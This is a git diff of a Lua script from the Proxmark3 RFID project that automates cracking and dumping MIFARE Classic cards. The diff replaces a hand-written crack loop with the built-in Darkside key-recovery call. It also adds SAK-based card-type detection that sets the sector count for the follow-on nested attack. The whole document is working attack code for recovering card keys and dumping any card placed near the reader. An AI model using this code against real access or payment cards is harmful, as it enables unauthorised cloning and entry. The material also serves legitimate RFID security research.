X-Git-Url: https://git.zerfleddert.de/cgi-bin/gitweb.cgi/proxmark3-svn/blobdiff_plain/0dae56d81ed737be4f2fa010326cbf41ea0af228..b97311b1bde85d0aa388085e9a5747ac4da680d5:/client/scripts/mifare_autopwn.lua

diff --git a/client/scripts/mifare_autopwn.lua b/client/scripts/mifare_autopwn.lua
index ccb46c53..e68f7a75 100644
--- a/client/scripts/mifare_autopwn.lua
+++ b/client/scripts/mifare_autopwn.lua
@@ -8,7 +8,7 @@ author = "Martin Holst Swende"
 
 desc =
 [[
-This is a which automates cracking and dumping mifare classic cards. It sets itself into 
+This is a script which automates cracking and dumping mifare classic cards. It sets itself into 
 'listening'-mode, after which it cracks and dumps any mifare classic card that you 
 place by the device. 
 
@@ -63,68 +63,22 @@ function wait_for_mifare()
 	return nil, "Aborted by user"
 end
 
-function mfcrack()
-	core.clearCommandBuffer()
-	-- Build the mifare-command
-	local cmd = Command:new{cmd = cmds.CMD_READER_MIFARE, arg1 = 1}
-	
-	local retry = true
-	while retry do
-		core.SendCommand(cmd:getBytes())
-		local key, errormessage = mfcrack_inner()
-		-- Success?
-		if key then return key end
-		-- Failure? 
-		if errormessage then return nil, errormessage end
-		-- Try again..set arg1 to 0 this time. 
-
-		cmd = Command:new{cmd = cmds.CMD_READER_MIFARE, arg1 = 0}
-	end	
-	return nil, "Aborted by user"
-end
-
-
-function mfcrack_inner()
-	while not core.ukbhit() do		
-		local result = core.WaitForResponseTimeout(cmds.CMD_ACK,1000)
-		if result then
-			-- Unpacking the three arg-parameters
-			local count,cmd,isOK = bin.unpack('LL',result)
-
-			if isOK ~= 1 then return nil, "Error occurred" end
-
-
-			-- The data-part is left
-			-- Starts 32 bytes in, at byte 33
-			local data = result:sub(33)
-
-			-- A little helper
-			local get = function(num)
-				local x = data:sub(1,num)
-				data = data:sub(num+1)
-				return x
-			end
-
-			local uid,nt,pl = get(4),get(4),get(8)
-			local ks,nr = get(8),get(4)
-
-			local status, key = core.nonce2key(uid,nt, nr, pl,ks)
-			if not status then return status,key end
-
-			if status > 0 then 
-				print("Key not found (lfsr_common_prefix problem)")
-				-- try again
-				return nil,nil
-			else
-				return key
-			end
-		end
+function nested(key,sak)
+	local typ = 1
+	if 0x18 == sak then --NXP MIFARE Classic 4k | Plus 4k
+		typ = 4
+	elseif 0x08 == sak then -- NXP MIFARE CLASSIC 1k | Plus 2k
+		typ= 1
+	elseif 0x09 == sak then -- NXP MIFARE Mini 0.3k
+		typ = 0
+	elseif  0x10 == sak then-- "NXP MIFARE Plus 2k"
+		typ = 2
+	elseif  0x01 == sak then-- "NXP MIFARE TNP3xxx 1K"
+		typ = 1
+	else
+		print("I don't know how many sectors there are on this type of card, defaulting to 16")
 	end
-	return nil, "Aborted by user"
-end
-
-function nested(key)
-	local cmd = string.format("hf mf nested 1 0 A %s d",key)
+	local cmd = string.format("hf mf nested %d 0 A %s d",typ,key)
 	core.console(cmd)
 end
 
@@ -149,7 +103,7 @@ end
 function main(args)
 
 
-	local verbose, exit,res,uid,err,_
+	local verbose, exit,res,uid,err,_,sak
 	local seen_uids = {}
 
 	-- Read the parameters
@@ -163,19 +117,32 @@ function main(args)
 		if err then return oops(err) end
 		-- Seen already?
 		uid = res.uid
+		sak = res.sak
 		if not seen_uids[uid] then
 			-- Store it
 			seen_uids[uid] = uid
 			print("Card found, commencing crack", uid)
 			-- Crack it
 			local key, cnt
-			res,err = mfcrack()
-			if not res then return oops(err) end
-			_,key = bin.unpack("H6",res)
+			err, res = core.mfDarkside()
+			if     err == -1 then return oops("Button pressed. Aborted.") 
+			elseif err == -2 then return oops("Card is not vulnerable to Darkside attack (doesn't send NACK on authentication requests).")
+			elseif err == -3 then return oops("Card is not vulnerable to Darkside attack (its random number generator is not predictable).")
+			elseif err == -4 then return oops([[
+Card is not vulnerable to Darkside attack (its random number generator seems to be based on the wellknown
+generating polynomial with 16 effective bits only, but shows unexpected behaviour.]])
+			elseif err == -5 then return oops("Aborted via keyboard.")
+			end
+			-- The key is actually 8 bytes, so a 
+			-- 6-byte key is sent as 00XXXXXX
+			-- This means we unpack it as first
+			-- two bytes, then six bytes actual key data
+			-- We can discard first and second return values
+			_,_,key = bin.unpack("H2H6",res)
 			print("Key ", key)
 
 			-- Use nested attack
-			nested(key)
+			nested(key,sak)
 			-- Dump info
 			dump(uid)
 		end